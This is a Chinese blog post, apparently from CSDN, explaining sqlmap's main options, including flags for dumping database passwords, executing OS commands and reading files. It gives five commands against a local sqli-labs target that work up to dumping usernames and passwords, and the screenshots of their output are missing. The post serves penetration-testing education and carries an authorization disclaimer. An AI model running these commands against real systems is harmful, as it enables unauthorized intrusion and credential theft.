今天继续给大家介绍Linux运维相关知识,本文主要内容是sqlmap语法介绍。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
sqlmap是一款开源且功能强大的SQL注入工具,它支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB以及Virtuoso database management systems等多种数据库。
(注意:sqlmap不支持对非关系型数据库进行SQL注入测试)
sqlmap功能也非常强大,既可以进行带回显的SQL注入,也可以进行基于bool和时间的盲注。即可以通过SQL注入获取数据,也支持读写指定文件、执行系统命令以及获取系统注册表等操作。
sqlmap常见的参数介绍如下:
-u 指定注入点
-p 指定注入参数
-D 指定数据库库名
-T 指定数据库表名
-C 指定数据库字段
–columns 获取数据库的字段
–current-user 获取数据库的当前用户
–current-db 获取数据库当前使用的库
–dbs 获取数据库中所有的库
–tables 获取指定数据库中所有的表
–columns 获取指定数据表中所有的列
–privileges 获取当前数据库用户的权限
–users 获取所有数据库的用户
–passwords 获取所有数据库用户的密码
–dbms 指定目标数据库
–os 指定目标系统
–os-cmd 执行系统命令
–file-read 读取指定文件
–file-write 写入指定文件
–time-sec 指定时间间隔
–reg-read 读取Windows系统注册表
最后,给大家介绍常用的sqlmap语句。
1、python sqlmap -u http://192.168.136.2/sqli/Less-1/?id=1
该命令可以用于探测指定目标是否含有SQL注入点,执行结果如下所示:
2、python sqlmap -u http://192.168.136.2/sqli/Less-1/?id=1 -dbs
该命令可以获取指定数据库中的所有库名,执行结果如下所示:
3、python sqlmap -u http://192.168.136.2/sqli/Less-1/?id=1 -D “security” --tables
该命令可以获取security数据库中的所有表,执行结果如下所示:
4、python sqlmap -u http://192.168.136.2/sqli/Less-1/?id=1 -D “security” -T “users” --columns
该命令可以获取到security数据库下的users表中的所有字段,执行结果如下所示:
5、 python sqlmap -u http://192.168.136.2/sqli/Less-1/?id=1 -D “security” -T “users” -C “username,password” --dump
该命令可以获取security数据库下的users数据表中的username和password两个字段的所有数据,执行结果如下所示:
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200